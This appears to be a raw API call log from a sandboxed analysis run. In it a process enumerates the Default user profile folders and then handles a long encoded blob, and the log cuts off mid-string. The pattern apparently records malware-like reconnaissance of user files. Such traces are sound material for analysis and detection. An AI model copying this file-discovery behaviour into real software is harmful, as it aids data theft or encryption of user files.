lpFindFileData=0x18fac8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0144.436] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.436] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0144.437] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.437] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.437] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.437] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.437] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.438] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.438] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.438] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.438] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.438] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.439] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.439] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.439] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.439] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.439] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.439] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.439] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.439] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.439] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.439] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.439] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.439] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.439] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.440] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.440] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.440] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.440] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.440] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.440] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.440] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.440] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.440] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.440] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.441] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.441] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.441] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.442] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.442] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.442] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.442] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.443] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.443] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.443] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.443] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.443] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.444] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.444] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.444] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.444] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.444] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.444] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.444] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.444] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.444] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.444] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.444] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.444] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.451] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.451] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.452] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.453] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.454] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.454] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.454] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.454] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.454] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.454] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.454] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.455] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.455] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.455] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.455] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.455] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0144.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzM